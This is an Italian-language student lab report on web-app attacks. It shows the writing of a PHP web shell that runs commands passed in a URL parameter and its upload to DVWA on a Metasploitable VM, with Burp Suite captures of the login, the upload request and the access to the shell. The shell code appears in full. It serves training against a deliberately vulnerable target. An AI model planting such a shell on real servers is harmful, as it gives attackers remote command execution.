

S6L1 Pratica Attacchi alle Web App

1. Introduzione:

In questo esercizio di pratica verrà configurato un laboratorio virtuale utilizzando le Macchine Virtuali Kali Linux e Metasploitable in modo che ci sia una comunicazione bidirezionale tra le due Macchine Virtuali.

Saranno sfruttate le vulnerabilità di file upload della Metasploitable per ottenere il controllo da remoto della stessa.

Sarà caricato un file shell in PHP attraverso la sua interfaccia di upload e successivamente intercettate e analizzate ogni richiesta http/HTTPS attraverso BurpSuite verso la Metasploitable.

2. Configurazione laboratorio virtuale

Questo laboratorio virtuale è configurato in una rete locale kalinet

Ip Kali Linux: 192.168.2.8

Ip Metasploitable: 192.168.2.7

Eseguo un test per controllore che le due macchine siano in comunicazione

```
[(kali㉿kali)-[~]]$ ping 192.168.2.7
PING 192.168.2.7 (192.168.2.7) 56(84) bytes of data.
64 bytes from 192.168.2.7: icmp_seq=1 ttl=64 time=0.775 ms
64 bytes from 192.168.2.7: icmp_seq=2 ttl=64 time=0.938 ms
64 bytes from 192.168.2.7: icmp_seq=3 ttl=64 time=0.355 ms
64 bytes from 192.168.2.7: icmp_seq=4 ttl=64 time=0.670 ms
^C
--- 192.168.2.7 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3073ms
rtt min/avg/max/mdev = 0.355/0.684/0.938/0.212 ms
```

Riprovo il test questa volta aprendo il browser

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

- [TWiki](#)
- [phpMyAdmin](#)
- [Mutillidae](#)
- [DVWA](#)
- [WebDAV](#)

3. Creazione codice php

Dal Terminale Kali Linux creo un file con il codice PHP attraverso [nano](#)
[nuovomalware.php](#)

```
GNU nano 8.7                                     nuovomalware.php
<?php
if (isset($_GET['cmd'])) {
    $cmd=$_GET['cmd'];
    echo "<pre>", shell_exec($cmd), "</pre>";
}
?>
<h1>Questo è il Malware</h1>
<p>Prego fare ScreenShot</p>
```

4. BurpSuite e Metasploitable

Da Kali Linux apro **BurpSuite**, vado su Proxy “**intercept on**” e apro il browser inserendo **http://192.168.2.7** (Metasploitable) e seleziono **DVWA**

The screenshot shows the Burp Suite interface with the "Proxy" tab selected. A single request is listed in the timeline:

Time	Type	Direction	Method	URL
10:18:48 12 Jan 20...	HTTP	→ Request	GET	http://192.168.2.7/dvwa/

In the "Request" pane, the raw POST data is displayed:

```
Pretty Raw Hex
1. GET /dvwa/ HTTP/1.1
2. Host: 192.168.2.7
3. Accept-Language: en-US,en;q=0.9
4. Upgrade-Insecure-Requests: 1
5. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7. Referer: http://192.168.2.7/
8. Accept-Encoding: gzip, deflate, br
9. Cookie: security=high; PHPSESSID=545efc066c204eba0fe9c25e3200e2b
10. Connection: keep-alive
11.
12.
```

To the right, the DVWA login page is shown:

Warning: Never expose this VM to an untrusted network!
Contact: msfdev@metasploit.com
Login with msfadmin/msfadmin to get started

- Twiki
- phpMyAdmin
- Multilidie
- DVWA
- WebDAV

Si apre la pagina nella quale inserire username e password (**admin e password**) e intercetto il **POST**

The screenshot shows the Burp Suite interface with the "Proxy" tab selected. A POST request is listed in the timeline:

Time	Type	Direction	Method	URL
10:26:49 12 Jan 20...	HTTP	→ Request	POST	http://192.168.2.7/dvwa/login.php

In the "Request" pane, the raw POST data is displayed:

```
Pretty Raw Hex
1. POST /dvwa/login.php HTTP/1.1
2. Host: 192.168.2.7
3. Content-Length: 44
4. Content-Type: application/x-www-form-urlencoded
5. Accept-Language: en-US,en;q=0.9
6. Origin: http://192.168.2.7
7. Content-Type: application/x-www-form-urlencoded
8. Upgrade-Insecure-Requests: 1
9. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
10. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11. Referer: http://192.168.2.7/dvwa/login.php
12. Accept-Encoding: gzip, deflate, br
13. Cookie: security=high; PHPSESSID=545efc066c204eba0fe9c25e3200e2b
14. Connection: keep-alive
15.
16. username=admin&password=password&Login>Login
```

To the right, the DVWA login form is shown:

DVWA

Username: admin

Password: *****

Login

Ai fini di questo esercizio da **Security Level** imposto come livello di vulnerabilità su **“Low”**.

Apro **Upload** e scelgo il file nuovomalware.php

Time	Type	Direction	Method	URL
10:35:49 12 Jan 2...	HTTP	→ Request	POST	http://192.168.2.7/dvwa/vulnerabilities/upload/

Request

Pretty Raw Hex

```

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.2.7
3 Content-Length: 584
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Origin: http://192.168.2.7
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv2vp3M7u4xmrNsjq
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://192.168.2.7/dvwa/vulnerabilities/upload/
12 Accept-Encoding: gzip, deflate, br
13 Cookie: security=low; PHPSESSID=545efc066c204eba68fe9c25e3200e2b
14 Connection: keep-alive
15
16 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq
21 Content-Disposition: form-data; name="uploaded"; filename="nuovomalware.php"
22 Content-Type: application/x-php
23
24 <?php
25 if (isset($_GET['cmd'])) {
26     $cmd=$_GET['cmd'];
27     echo "<pre>", shell_exec($cmd), "</pre>";
28 }
29 ?>
30 <h1>Questo è il Malware</h1>
31 <p>Prego fare ScreenShot</p>
32
33
34
35
36
37 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq
38 Content-Disposition: form-data; name="Upload"
39
40 Upload
41 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq--
```



Vulnerability: File Upload

Choose an image to upload:
 nuovomalware.php

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
<http://blogs.securityteam.com/index.php/archives/1268>
<http://www.acunetix.com/websitedevelopment/upload-forms/>

- [Home](#)
- [Instructions](#)
- Setup**
- [Brute Force](#)
- [Command Execution](#)
- [CSRF](#)
- [File Inclusion](#)
- [SQL Injection](#)
- Upload**
- [XSS reflected](#)
- [XSS stored](#)
- [DVWA Security](#)
- [PHP Info](#)
- [About](#)

Time	Type	Direction	Method	URL
10:35:49 12 Jan 2...	HTTP	→ Request	POST	http://192.168.2.7/dvwa/vulnerabilities/upload/

Request

Pretty Raw Hex

```

1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.2.7
3 Content-Length: 584
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Origin: http://192.168.2.7
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv2vp3M7u4xmrNsjq
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://192.168.2.7/dvwa/vulnerabilities/upload/
12 Accept-Encoding: gzip, deflate, br
13 Cookie: security=low; PHPSESSID=545efc066c204eba68fe9c25e3200e2b
14 Connection: keep-alive
15
16 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq
21 Content-Disposition: form-data; name="uploaded"; filename="nuovomalware.php"
22 Content-Type: application/x-php
23
24 <?php
25 if (isset($_GET['cmd'])) {
26     $cmd=$_GET['cmd'];
27     echo "<pre>", shell_exec($cmd), "</pre>";
28 }
29 ?>
30 <h1>Questo è il Malware</h1>
31 <p>Prego fare ScreenShot</p>
32
33
34
35
36
37 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq
38 Content-Disposition: form-data; name="Upload"
39
40 Upload
41 -----WebKitFormBoundaryv2vp3M7u4xmrNsjq--
```

Dopo aver effettuato l'upload mi appare in rosso il path da inserire

The screenshot shows the DVWA (Damn Vulnerable Web Application) interface. On the left is a sidebar with various menu items: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload (which is highlighted in green), XSS reflected, XSS stored, DVWA Security, PHP Info, and About. The main content area is titled "Vulnerability: File Upload". It contains a form with a file input field labeled "Choose an image to upload:" and a "Choose File" button. Below the input field, it says "No file chosen". There is also a "Upload" button. A message in red text at the bottom of the form area reads ".../hackable/uploads/nuovomalware.php successfully uploaded!". Below this message, there is a section titled "More info" with three links: http://www.owasp.org/index.php/Unrestricted_File_Upload, <http://blogs.securiteam.com/index.php/archives/1268>, and <http://www.acunetix.com/website-security/upload-forms-threat.htm>.

Inserisco il path e intercetto la richiesta GET

The screenshot shows the NetworkMiner tool interface. At the top, there are buttons for "Intercept on" (disabled), "Forward", "Drop", and a dropdown menu. Below this is a table with columns: Time, Type, Direction, Method, and URL. A single row is selected, showing "10:52:58 12 Jan 20.. HTTP → Request GET http://192.168.2.7/dvwa/hackable/uploads/nuovomalware.php". The main pane below is titled "Request" and contains a "Pretty" tab selected, showing the raw HTTP request. The request details are as follows:

```
1 GET /dvwa/hackable/uploads/nuovomalware.php HTTP/1.1
2 Host: 192.168.2.7
3 Accept-Language: en-US,en;q=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=1
7 Accept-Encoding: gzip, deflate, br
8 Cookie: security=low; PHPSESSID=545efc066c294ab96f99c25e3200a2b
9 Connection: keep-alive
10
11
```

To the right of the NetworkMiner window, there is a browser window showing the DVWA page with the uploaded malware. The title bar of the browser says "Questo Ã" il Malware" and the page content says "Prego fare ScreenShot".